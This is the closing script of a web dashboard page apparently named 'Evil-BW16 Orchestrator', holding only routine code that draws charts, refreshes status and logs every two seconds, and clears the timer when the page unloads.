window.onload = () => {
initializeCharts();
updateSystemStatus();
updateLogs();
// Set up auto-refresh intervals
updateInterval = setInterval(() => {
updateSystemStatus();
updateLogs();
}, 2000);
showNotification('Evil-BW16 Orchestrator Initialized', 'success');
};
// Cleanup on page unload
window.onbeforeunload = () => {
if (updateInterval) {
clearInterval(updateInterval);
}
};
</script>
</body></html>